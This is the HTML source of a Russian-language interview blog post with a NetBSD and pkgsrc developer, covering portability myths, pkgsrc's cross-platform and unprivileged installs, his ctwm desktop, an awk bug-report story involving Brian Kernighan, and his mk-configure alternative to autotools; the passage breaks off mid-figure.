  &lt;p id=&quot;DxE5&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;ZAwu&quot;&gt;Сейчас мы развеем наверное самую известную байку про NetBSD — насчёт её реальной кроссплатформенности. &lt;/p&gt;
  &lt;p id=&quot;MeFD&quot;&gt;Расскажи эту историю про &lt;a href=&quot;https://github.com/wcd-anon/NetBSD-toaster&quot; target=&quot;_blank&quot;&gt;NetBSD на тостере&lt;/a&gt;:&lt;/p&gt;
  &lt;blockquote id=&quot;1ZCA&quot;&gt;Yesterday at LinuxWorld 2005 I ran into &lt;a href=&quot;https://twitter.com/ioerror&quot; target=&quot;_blank&quot;&gt;Jake Appelbaum&lt;/a&gt; and he mentioned that upstairs in up the .org Pavilion there was a toaster that was powered by &lt;a href=&quot;http://www.netbsd.org/&quot; target=&quot;_blank&quot;&gt;NetBSD&lt;/a&gt; (the first open source version BSD, a Unix-like operating system). &lt;a href=&quot;http://www.flickr.com/photos/laughingsquid/33239116/in/set-738298/&quot; target=&quot;_blank&quot;&gt;John Mc&lt;/a&gt; and I went up there and found the candy apple red toaster that was being controlled by NetBSD, and it actually made toast.&lt;/blockquote&gt;
  &lt;p id=&quot;VxW1&quot;&gt;Очень известная история, ставшая для обывателей визитной карточкой NetBSD.&lt;/p&gt;
  &lt;p id=&quot;UfgM&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;iZuI&quot;&gt;Думаю эта байка повторяется каждое десятилетие. И по-моему это какая-то глупость, которую стоит перестать повторять. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;kAUC&quot;&gt;Если подходить к вопросу объективно, то все операционки стремятся быть перенесёнными на всё что движется. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;K6gH&quot;&gt;NetBSD естественно это тоже касается, но это не означает что она лидер в данной области. &lt;/p&gt;
  &lt;blockquote id=&quot;pjni&quot;&gt;лидером по портируемости является Linux и уже очень давно. &lt;/blockquote&gt;
  &lt;p id=&quot;E4mi&quot;&gt;И если уж мы выбираем операционную систему, то на мой взгляд совершенно не по этой причине. &lt;/p&gt;
  &lt;p id=&quot;moOt&quot;&gt;Я например выбрал NetBSD совершенно по другим причинам. Точно не потому, что она якобы такая переносимая. &lt;/p&gt;
  &lt;figure id=&quot;350T&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/da/e3/dae3cb83-8c92-4a8e-afb3-a1980e1faa75.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;RjKe&quot;&gt;Про поддерживаемые архитектуры&lt;/h2&gt;
  &lt;p id=&quot;L1ve&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;gJM4&quot;&gt;История с количеством поддерживаемых архитектур. &lt;/p&gt;
  &lt;p id=&quot;2kGH&quot;&gt;Насколько понимаю, всё не настолько глобально как кажется обывателю? Из &lt;a href=&quot;https://www.netbsd.org/ports/&quot; target=&quot;_blank&quot;&gt;огромной массы поддерживаемых архитектур&lt;/a&gt; только примерно половина — активные, остальные просто есть в списке. &lt;/p&gt;
  &lt;p id=&quot;ySDv&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;4PVi&quot;&gt;Ну да. &lt;/p&gt;
  &lt;p id=&quot;Wg6e&quot;&gt;В NetBSD есть три категории поддерживаемые систем: &lt;/p&gt;
  &lt;ul id=&quot;BZTO&quot;&gt;
    &lt;li id=&quot;JPyO&quot;&gt;&lt;a href=&quot;https://www.netbsd.org/ports/#ports-tier1&quot; target=&quot;_blank&quot;&gt;Tier I: Focus — support is part of NetBSD&amp;#x27;s strategy&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;dgLz&quot;&gt;&lt;a href=&quot;https://www.netbsd.org/ports/#ports-tier2&quot; target=&quot;_blank&quot;&gt;Tier II: Organic — evolving at its own pace&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;zVee&quot;&gt;&lt;a href=&quot;https://www.netbsd.org/ports/#ports-tier3&quot; target=&quot;_blank&quot;&gt;Tier III: Life Support — severely incapacitated or broken&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;KapQ&quot;&gt;Tier I поддерживается активно, туда входит x86 ясное дело, ARM, MIPS. &lt;/p&gt;
  &lt;p id=&quot;h40W&quot;&gt;Вторая категория — всякие устаревшие SPARC, ALPHA и PowerPC. &lt;/p&gt;
  &lt;p id=&quot;OZkU&quot;&gt;И третья категория, то что вероятнее всего отвалится, потому что некому поддерживать. Не потому что эти архитектуры не нужны, а просто потому что это некому поддерживать.&lt;/p&gt;
  &lt;p id=&quot;WqDt&quot;&gt;Что касается целесообразности поддержки всяких &lt;a href=&quot;https://www.netbsd.org/ports/playstation2/index.html&quot; target=&quot;_blank&quot;&gt;Sony PlayStation 2&lt;/a&gt; и прочей экзотики, как-то в рассылке видел забавный аргумент, когда разработчики обсуждали, нужно ли им поддерживать старый хлам. &lt;/p&gt;
  &lt;p id=&quot;OQsK&quot;&gt;Один из разработчиков NetBSD выдвинул следующий аргумент:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;rehb&quot;&gt;нам не столько нужен этот условный Sony PlayStation 2.0, сколько факт, что на нем все тоже работает.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;U168&quot;&gt;А если это не так, значит мы сделали что-то неправильно. &lt;/p&gt;
  &lt;p id=&quot;Ecba&quot;&gt;Так что поддержка большого количества архитектур, при условии работоспособности, однозначно доказывает, что с точки зрения дизайна операционной системы всё сделано верно. &lt;/p&gt;
  &lt;p id=&quot;rdpl&quot;&gt;И вот для этого портируемость очень важна и очень нужна. &lt;/p&gt;
  &lt;figure id=&quot;1qJr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/dc/a5/dca58331-fdf9-4f36-9eb6-881007b77e23.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;hsUc&quot;&gt;NetBSD и драйвера&lt;/h2&gt;
  &lt;p id=&quot;xWGX&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;z7fU&quot;&gt;От себя добавлю, что в NetBSD очень интересный подход к поддержке железа. Фактически там нет концепции драйвера устройства, но есть «фреймворк» для их создания, внутренний. &lt;/p&gt;
  &lt;p id=&quot;gySc&quot;&gt;И когда создается код для поддержки конечного устройства, он пишется так чтобы его можно было применять на разных архитектурах. &lt;/p&gt;
  &lt;p id=&quot;fSoM&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;Rcub&quot;&gt;Ну да, это упрощает поддержку железа на разных архитектурах. &lt;/p&gt;
  &lt;p id=&quot;PVn1&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;NiKG&quot;&gt;Но ооочень сильно усложняет саму разработку, потому что когда попытался что-то портировать из FreeBSD — концов просто не нашёл. &lt;/p&gt;
  &lt;h2 id=&quot;Gv1D&quot;&gt;NetBSD и pkgsrc&lt;/h2&gt;
  &lt;p id=&quot;YLOC&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;DHx4&quot;&gt;Поскольку Алексей в основном занимается поддержкой пакетов, он — ментейнер очень большого их количества в &lt;code&gt;pkgsrc&lt;/code&gt;, про пакетную базу может рассказать много чего интересного. &lt;/p&gt;
  &lt;p id=&quot;OSTe&quot;&gt;Давай начнём с достаточно известного факта:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;RS5Z&quot;&gt;пакетная база &lt;a href=&quot;https://www.pkgsrc.org/&quot; target=&quot;_blank&quot;&gt;pkgsrc&lt;/a&gt; на самом деле кроссплатформенная и все пакеты собираются под кучей разных систем. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;k8Ja&quot;&gt;Расскажи как это все происходит. &lt;/p&gt;
  &lt;p id=&quot;Tl5X&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;CIVO&quot;&gt;Тут сразу ошибка в описании:  &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;p6Qp&quot;&gt;пакеты не для NetBSD, пакеты для проекта pkgsrc. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;VbOX&quot;&gt;NetBSD тут лишь одна из целевых платформ для сборки пакетов, с поддержкой разных архитектур. &lt;/p&gt;
  &lt;p id=&quot;LKHv&quot;&gt;А у самого проекта pkgsrc одна из главных целей — поддержка разных операционных систем. &lt;/p&gt;
  &lt;p id=&quot;C5Fd&quot;&gt;Поэтому если создал пакет один раз, сборка потом &lt;a href=&quot;https://netbsd.org/docs/pkgsrc/platforms.html&quot; target=&quot;_blank&quot;&gt;работает&lt;/a&gt; и под Линуксом и под MacOS, и под Solaris и под Minix и так далее — под «всем что движется». &lt;/p&gt;
  &lt;blockquote id=&quot;sOeP&quot;&gt;И это на самом деле работает, это ключевой момент. &lt;/blockquote&gt;
  &lt;p id=&quot;pS5D&quot;&gt;Этим проект &lt;code&gt;pkgsrc&lt;/code&gt; радикально отличается от всех остальных пакетных систем, знакомых юниксоидам. &lt;/p&gt;
  &lt;figure id=&quot;W1KE&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5f/0d/5f0d4321-583e-43fa-b4d4-2e6e17f041c8.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;3SbF&quot;&gt;pkgsrc без root&lt;/h2&gt;
  &lt;p id=&quot;RSEO&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;B9TK&quot;&gt;Ну и вторая фича &lt;code&gt;pkgsrc&lt;/code&gt;, которая мне кажется очень важной:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;aiMp&quot;&gt;все пакеты можно устанавливать в домашний каталог. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;2Aw9&quot;&gt;Это так называемый &lt;a href=&quot;https://www.netbsd.org/docs/pkgsrc/faq.html#non-root-pkgsrc&quot; target=&quot;_blank&quot;&gt;unprivileged-режим&lt;/a&gt;, непривилегированный режим. &lt;/p&gt;
  &lt;p id=&quot;WtWz&quot;&gt;Для примера, опишу один кейс. &lt;/p&gt;
  &lt;p id=&quot;XEnH&quot;&gt;У меня есть много своих разработок, которые приходится тестировать на разных аппаратных архитектурах и разных операционных системах.&lt;/p&gt;
  &lt;blockquote id=&quot;4lCr&quot;&gt;Тестирую я все это на большом количестве систем, куда у меня есть удаленный SSH-доступ, но без привилегий суперпользователя. &lt;/blockquote&gt;
  &lt;p id=&quot;dvFG&quot;&gt;Для тестирования нужен какой-то набор софта на целевой машине, а поскольку нет прав суперпользователя — не могу установить все необходимое из родных для целевой системы пакетных систем. &lt;/p&gt;
  &lt;p id=&quot;1sM4&quot;&gt;Так что я устанавливаю все необходимое &lt;code&gt;pkgsrc&lt;/code&gt; в домашний каталог, никого при этом не дёргая по поводу доступа. &lt;/p&gt;
  &lt;p id=&quot;yOq0&quot;&gt;Удобно. &lt;/p&gt;
  &lt;figure id=&quot;qhAS&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8a/f5/8af5a1fd-e7f6-4315-9a06-e75b143f204a.png&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Рабочий стол Алексея&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lplx&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;KE7i&quot;&gt;Расскажи про свою рабочую систему, ведь на самом деле ты — очень редкий вид пользователя, поскольку у тебя NetBSD используется непосредственно на рабочей станции, в качестве основной ОС.&lt;/p&gt;
  &lt;p id=&quot;fVNt&quot;&gt;Что из софта используешь, как это вообще выглядит? &lt;/p&gt;
  &lt;p id=&quot;ilzs&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Emacs&quot; target=&quot;_blank&quot;&gt;Emacs&lt;/a&gt; наверное какой-нибудь?&lt;/p&gt;
  &lt;p id=&quot;UVdI&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;nQLY&quot;&gt;Ну я «админ локалхоста», но очень опытный. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;qDrM&quot;&gt;А в целом, я — разработчик и больше занимаюсь программированием. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;k1sT&quot;&gt;Ну как больше, я 100% времени занимаюсь программированием, а не администрирую что-либо.&lt;/p&gt;
  &lt;blockquote id=&quot;KWjW&quot;&gt;Поэтому да, у меня NetBSD на десктопе, одна из систем. &lt;/blockquote&gt;
  &lt;p id=&quot;5fHL&quot;&gt;В основном у меня там используется Emacs, &lt;a href=&quot;https://wiki.archlinux.org/title/Rxvt-unicode&quot; target=&quot;_blank&quot;&gt;urxvt&lt;/a&gt; — форк rxvt с поддержкой Unicode и довольно древний window-менеджер &lt;a href=&quot;https://en.wikipedia.org/wiki/CTWM&quot; target=&quot;_blank&quot;&gt;ctvm&lt;/a&gt;, который меня вполне устраивает. &lt;/p&gt;
  &lt;figure id=&quot;zTkP&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/92/09/9209162d-b431-472c-8b7b-4cf3dfdf20ad.png&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;ctwm с тонкой настройкой Алексея&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ymJl&quot;&gt;Вообще считаю: &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;fBF8&quot;&gt;для разработчика window-менеджер или так называемый «desktop environment» никак не улучшает производительность. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;NiOA&quot;&gt;Поэтому хватает столь древнего window-менеджера, который недавно в NetBSD сделали устанавливаемым по-умолчанию, внеся его в базовую систему.&lt;/p&gt;
  &lt;p id=&quot;D0bp&quot;&gt;Пользуюсь им наверное с начала двухтысячных годов. &lt;/p&gt;
  &lt;figure id=&quot;zt0M&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a1/ab/a1ab462a-b3c8-45f3-909a-1eb575f4ba52.jpeg&quot; width=&quot;900&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;rrFy&quot;&gt;История с дедушкой Керниганом и awk&lt;/h2&gt;
  &lt;p id=&quot;OhEm&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;OPns&quot;&gt;Насколько знаю, ты часто отправляешь патчи для разных открытых проектов, в том числе для awk. Из-за чего у тебя случилась интересная история с Брайаном Керниганом. &lt;/p&gt;
  &lt;blockquote id=&quot;7UWy&quot;&gt;Когда про это услышал — очень сильно удивился.&lt;/blockquote&gt;
  &lt;p id=&quot;pQEx&quot;&gt;Расскажи, хотя-бы в кратце. &lt;/p&gt;
  &lt;p id=&quot;VpVW&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;cVNF&quot;&gt;Если вкратце, то я очень много в свое время писал на &lt;a href=&quot;https://en.wikipedia.org/wiki/AWK&quot; target=&quot;_blank&quot;&gt;awk&lt;/a&gt;. &lt;/p&gt;
  &lt;p id=&quot;wITg&quot;&gt;Напомню, awk — такой язык программирования, хотя и примитивный, но весьма могучий.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;OrLA&quot;&gt;Я awk люблю особенно нежно и очень давно. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wwqt&quot;&gt;Ну и когда писал на нём очень активно, сталкивался с проблемами в реализации для NetBSD, что реализация не соответствует POSIX.&lt;/p&gt;
  &lt;blockquote id=&quot;UND1&quot;&gt;То тут, то там. &lt;/blockquote&gt;
  &lt;p id=&quot;iBog&quot;&gt;Или просто какой-то баг присутствует. &lt;/p&gt;
  &lt;p id=&quot;BF8p&quot;&gt;Я этих багов накопил штук 13, ну и зная что в NetBSD используется реализация Брайна Кернигана, написал непосредственно в upstream — самому Кернигану письмо:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;kGRN&quot;&gt;дяденька, поправьте пожалуйста вот тут, поправьте вот там, тут у вас баг. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;TXnY&quot;&gt;Ответ от него был довольно забавный, в стиле: &lt;/p&gt;
  &lt;blockquote id=&quot;B7ew&quot;&gt;Мальчик, иди отсюда. Это не баги. Моя книга была написана до этого вашего POSIX, поэтому это не баги, это фичи!&lt;/blockquote&gt;
  &lt;p id=&quot;KyFH&quot;&gt;Вот такая весёлая история. &lt;/p&gt;
  &lt;p id=&quot;5BSS&quot;&gt;Зато в NetBSD все эти замечания приняли и внесли исправления. В целом awk был очень сильно поправлен в NetBSD благодаря моим багрепортам. &lt;/p&gt;
  &lt;p id=&quot;zjfa&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;Wk8v&quot;&gt;Ребят, если кто не в курсе, я сюда вставлю ссылки, кто такой этот &lt;a href=&quot;https://en.wikipedia.org/wiki/Brian_Kernighan&quot; target=&quot;_blank&quot;&gt;Брайан Керниган&lt;/a&gt;. &lt;/p&gt;
  &lt;figure id=&quot;U7Qc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c1/d9/c1d9bae7-7f6d-48bc-a8c4-12e8e727b972.jpeg&quot; width=&quot;1568&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0uJF&quot;&gt;Вы очень сильно удивитесь. &lt;/p&gt;
  &lt;p id=&quot;65N1&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;4enW&quot;&gt;Это очень хороший и известный дядька, конечно же. &lt;/p&gt;
  &lt;p id=&quot;x4ET&quot;&gt;Я учился по его книгам. Но оказался в жизни немножко злобным, хотя это и неудивительно. &lt;/p&gt;
  &lt;figure id=&quot;jUyY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/91/29/9129e2ee-5bfa-4338-bef1-f6cf441def24.jpeg&quot; width=&quot;800&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Hirw&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;jHcz&quot;&gt;Собственно, это один из авторов языка Си, один из авторов UNIX. &lt;/p&gt;
  &lt;p id=&quot;sgmW&quot;&gt;Фактически исторический персонаж, по уровню события — как если бы вам ответил лично Билл Гейтс. &lt;/p&gt;
  &lt;p id=&quot;Hn5f&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;qlp7&quot;&gt;Ну типа того, да.&lt;/p&gt;
  &lt;h2 id=&quot;9chp&quot;&gt;Проект mk-configure &lt;/h2&gt;
  &lt;p id=&quot;Rzij&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;bxVR&quot;&gt;У тебя есть ещё интересные проекты, например &lt;a href=&quot;https://github.com/cheusov/mk-configure&quot; target=&quot;_blank&quot;&gt;mk-configure&lt;/a&gt;. &lt;/p&gt;
  &lt;p id=&quot;b20M&quot;&gt;Расскажи? &lt;/p&gt;
  &lt;p id=&quot;OJCB&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;qBJx&quot;&gt;Есть такой, да. Система сборки. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;nZSd&quot;&gt;В своё время меня достал «autoshit» так называемый, или «autobloat», в миру &lt;a href=&quot;https://en.wikipedia.org/wiki/GNU_Autotools&quot; target=&quot;_blank&quot;&gt;autotools&lt;/a&gt;. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;uIEB&quot;&gt;Достал тем, что крайне неудобен в использовании. Да и честно говоря, over-engineering там откровенный, между нами и девочками. &lt;/p&gt;
  &lt;blockquote id=&quot;c6X2&quot;&gt;Я решил, что в принципе против кодогенерации в проектах подобного рода. Это там не к месту, как мне кажется. &lt;/blockquote&gt;
  &lt;p id=&quot;rNq6&quot;&gt;Ну и решил, что вариация make из NetBSD — &lt;a href=&quot;https://www.crufty.net/help/sjg/bmake.html&quot; target=&quot;_blank&quot;&gt;bmake&lt;/a&gt; вполне пригодна для того, чтобы реализовать аналогичный функционал. &lt;/p&gt;
  &lt;p id=&quot;H3Qj&quot;&gt;Например проверку на существование в системе какой-то функции. &lt;/p&gt;
  &lt;figure id=&quot;jyGD&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e9/14/e9149d82-d50b-4825-81d1-353428fc0277.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xsSK&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;GPkB&quot;&gt;Сделаем запись на фоне этого замечательного места, на память. &lt;/p&gt;
  &lt;p id=&quot;a2Vq&quot;&gt;Историческое место: &lt;/p&gt;
  &lt;blockquote id=&quot;oO30&quot;&gt;&lt;strong&gt;Храм Воскресения Христова на крови́ (Спа́с на Крови́)&lt;/strong&gt; — &lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%BE%D1%81%D0%BB%D0%B0%D0%B2%D0%BD%D1%8B%D0%B9_%D1%85%D1%80%D0%B0%D0%BC&quot; target=&quot;_blank&quot;&gt;православный храм&lt;/a&gt;-&lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D0%BC%D1%8F%D1%82%D0%BD%D0%B8%D0%BA&quot; target=&quot;_blank&quot;&gt;памятник&lt;/a&gt; в &lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%A1%D0%B0%D0%BD%D0%BA%D1%82-%D0%9F%D0%B5%D1%82%D0%B5%D1%80%D0%B1%D1%83%D1%80%D0%B3&quot; target=&quot;_blank&quot;&gt;Санкт-Петербурге&lt;/a&gt;, сооружённый на месте, где 1 марта 1881 года в результате &lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%A3%D0%B1%D0%B8%D0%B9%D1%81%D1%82%D0%B2%D0%BE_%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B0%D0%BD%D0%B4%D1%80%D0%B0_II&quot; target=&quot;_blank&quot;&gt;покушения&lt;/a&gt; был смертельно ранен император &lt;a href=&quot;https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B0%D0%BD%D0%B4%D1%80_II&quot; target=&quot;_blank&quot;&gt;Александр II&lt;/a&gt; (выражение &lt;em&gt;на крови&lt;/em&gt; указывает на кровь царя). &lt;/blockquote&gt;
  &lt;p id=&quot;dx8z&quot;&gt;...&lt;/p&gt;
  &lt;h2 id=&quot;4cDx&quot;&gt;Про autotools&lt;/h2&gt;
  &lt;p id=&quot;qgl6&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;ahri&quot;&gt;Немного прерву Алексея, чтобы вы понимали контекст. &lt;/p&gt;
  &lt;p id=&quot;GCA1&quot;&gt;Autotools — самая глубокая, самая большая жопа, связанная со сборкой проектов со времён создания языка C. &lt;/p&gt;
  &lt;p id=&quot;fcxW&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;gZ3h&quot;&gt;Не преувеличивай, &lt;code&gt;autotools&lt;/code&gt; появился чуть позже.  &lt;/p&gt;
  &lt;p id=&quot;Jt67&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;FHwt&quot;&gt;Ну хорошо, тогда с начала девяностых. &lt;/p&gt;
  &lt;p id=&quot;bEb0&quot;&gt;В общем это самая грязная, самая вонючая куча говна, с которой все бегут. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;DM6w&quot;&gt;Если вы сделали сборку проекта на этой штуке — гореть вам в аду, что тут скажешь. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;IiT3&quot;&gt;Вот этот человек (кивает на Алексея) настолько крут, что попытался создать заменяемый аналог &lt;code&gt;autotools&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;9eUs&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;Cy7V&quot;&gt;Да, он рабочий на самом деле. &lt;/p&gt;
  &lt;p id=&quot;CNt0&quot;&gt;Это работает. &lt;/p&gt;
  &lt;p id=&quot;Vk0i&quot;&gt;Ещё чуть-чуть добавлю для обывателей. &lt;/p&gt;
  &lt;p id=&quot;4uLb&quot;&gt;&lt;code&gt;autotools&lt;/code&gt; нужен для того, чтобы сделать проект переносимым на разные платформы — на Solaris, AX, *BSD, на линукс и так далее. &lt;/p&gt;
  &lt;p id=&quot;rfgy&quot;&gt;Для того, чтобы сделать приложение на С или С++ портабельным, очень часто возникает необходимость проверки на то, есть ли в системе нужная системная функция и в случае если нет — подставить собственную реализацию. &lt;/p&gt;
  &lt;p id=&quot;RWAl&quot;&gt;&lt;code&gt;mk-configure&lt;/code&gt; это проект, который это же реализует, но при этом гораздо проще и меньше по объёму чем &lt;code&gt;autotools&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;2Rmt&quot;&gt;Построен на базе make из NetBSD (bmake), который сильно отличается от более известного &lt;a href=&quot;https://www.gnu.org/software/make/&quot; target=&quot;_blank&quot;&gt;GNU Make&lt;/a&gt;. &lt;/p&gt;
  &lt;h2 id=&quot;BJpN&quot;&gt;Про NetBSD make&lt;/h2&gt;
  &lt;p id=&quot;HhqZ&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;9cJW&quot;&gt;Но &lt;code&gt;bmake&lt;/code&gt; мне нравится больше. &lt;/p&gt;
  &lt;p id=&quot;FUAf&quot;&gt;Кстати bmake недавно &lt;a href=&quot;https://man.freebsd.org/cgi/man.cgi?query=bmake&amp;sektion=1&quot; target=&quot;_blank&quot;&gt;добавили во FreeBSD&lt;/a&gt; и в &lt;a href=&quot;https://man.dragonflybsd.org/?command=bmake&quot; target=&quot;_blank&quot;&gt;DragonflyBSD&lt;/a&gt;. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;RyEl&quot;&gt;Так что из NetBSD тоже время от времени что-то растаскивают по другим проектам. &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wk8T&quot;&gt;&lt;em&gt;alex0x08&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;upvD&quot;&gt;Третья система сборки.. &lt;/p&gt;
  &lt;p id=&quot;oswS&quot;&gt;В FreeBSD и так уже свой вариант &lt;code&gt;make&lt;/code&gt;, это получается ещё один. &lt;/p&gt;
  &lt;p id=&quot;G5I6&quot;&gt;&lt;em&gt;laizoaarz&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;4Kqh&quot;&gt;Если сравнивать &lt;code&gt;make&lt;/code&gt; из NetBSD, OpenBSD и FreeBSD — тот, который был раньше, то честно говоря, вариации &lt;code&gt;make&lt;/code&gt; из OpenBSD и FreeBSD вообще ни о чём. &lt;/p&gt;
  &lt;blockquote id=&quot;qQtL&quot;&gt;Ими нельзя пользоваться. &lt;/blockquote&gt;
  &lt;p id=&quot;PtjI&quot;&gt;Ну прямо совсем неинтересно. &lt;code&gt;bmake&lt;/code&gt; значительно богаче по своим возможностям. &lt;/p&gt;
  &lt;p id=&quot;nF1n&quot;&gt;Вот такие страшные дела. &lt;/p&gt;
  &lt;figure id=&quot;h4Kq&quot; class=&quot;m_column&quot;&gt;
